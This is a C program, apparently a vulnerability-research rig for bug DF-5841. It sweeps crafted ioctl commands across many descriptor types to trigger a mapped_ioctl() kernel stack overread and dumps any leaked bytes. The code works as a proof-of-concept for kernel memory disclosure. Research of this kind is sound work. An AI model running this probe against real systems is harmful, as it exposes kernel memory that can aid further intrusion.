/*
 * DF-5841 rig: mapped_ioctl() stack-buffer overread reachability scan.
 *
 * sys/kern/sys_generic.c:mapped_ioctl() sizes the ioctl scratch buffer with
 *
 *     if ((com & IOC_VOID) == 0 && size > sizeof(ubuf.stkbuf))  -> kmalloc(size)
 *     else                                                      -> ubuf.stkbuf (128 bytes, kernel stack)
 *
 * but the copyout back to userland is guarded only by
 *
 *     if (error == 0 && (com & IOC_OUT) != 0 && size != 0)
 *         error = copyout(data, uspc_data, size);
 *
 * For com with BOTH IOC_VOID (0x20000000) and IOC_OUT (0x40000000) set and
 * IOCPARM_LEN(com) in (128, 8191], the kernel stack buffer is used and then
 * `size` (up to 8191) bytes are copied out => up to ~8 KB of adjacent kernel
 * stack disclosed.  The copyout only happens if the underlying fo_ioctl()
 * returns 0 for the crafted command, so this rig sweeps fd types x cmd
 * groups x numbers looking for any success.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#define IOC_VOID 0x20000000UL
#define IOC_OUT  0x40000000UL
#define IOC_IN   0x80000000UL

#define LEN 291		/* 128 < 291 <= 8191 */

static int fds[32];
static const char *names[32];
static int nfd;

static void
addfd(int fd, const char *n)
{
	if (fd < 0)
		return;
	fds[nfd] = fd;
	names[nfd] = n;
	nfd++;
}

int
main(void)
{
	static unsigned char buf[8192];
	int pfd[2];
	int i, g, n, rc, err;
	unsigned long cmd;
	int hits = 0;

	addfd(open("/dev/null", O_RDWR), "/dev/null");
	addfd(open("/dev/zero", O_RDONLY), "/dev/zero");
	addfd(open("/dev/urandom", O_RDONLY), "/dev/urandom");
	addfd(open("/dev/tty", O_RDWR|O_NONBLOCK), "/dev/tty");
	addfd(open("/etc/rc", O_RDONLY), "vnode VREG");
	addfd(open("/tmp", O_RDONLY), "vnode VDIR");
	if (pipe(pfd) == 0) {
		addfd(pfd[0], "pipe-read");
		addfd(pfd[1], "pipe-write");
	}
	addfd(socket(AF_INET, SOCK_DGRAM, 0), "udp-socket");
	addfd(socket(AF_INET, SOCK_STREAM, 0), "tcp-socket");
	addfd(socket(AF_UNIX, SOCK_STREAM, 0), "unix-socket");
	addfd(syscall(362, 0), "kqueue");	/* DF SYS_kqueue = 362 */

	printf("fd types: %d\n", nfd);

	/* sweep: dir in {VOID|OUT, VOID|IN|OUT} x group 0..255 x num {0,1,127} */
	for (i = 0; i < nfd; i++) {
		for (g = 0; g <= 255; g++) {
			for (n = 0; n <= 127; n += 127) {
				for (err = 0; err < 2; err++) {
					cmd = (err ? (IOC_VOID|IOC_IN|IOC_OUT) :
					    (IOC_VOID|IOC_OUT)) |
					    ((unsigned long)LEN << 16) |
					    ((unsigned long)g << 8) | (unsigned long)n;
					memset(buf, 0x41, sizeof(buf));
					rc = ioctl(fds[i], cmd, buf);
					if (rc == 0) {
						int j, nz = 0;
						hits++;
						printf("HIT fd=%s cmd=0x%lx rc=0\n",
						    names[i], cmd);
						for (j = 8; j < LEN; j++)
							if (buf[j] != 0x41 &&
							    buf[j] != 0x00)
								nz++;
						printf("  non-marker bytes after "
						    "ptr field: %d\n", nz);
						/* show first 64 raw bytes */
						for (j = 0; j < 64; j++)
							printf("%02x", buf[j]);
						printf("\n");
					}
				}
			}
		}
	}
	printf("done, hits=%d\n", hits);
	return (hits != 0);
}
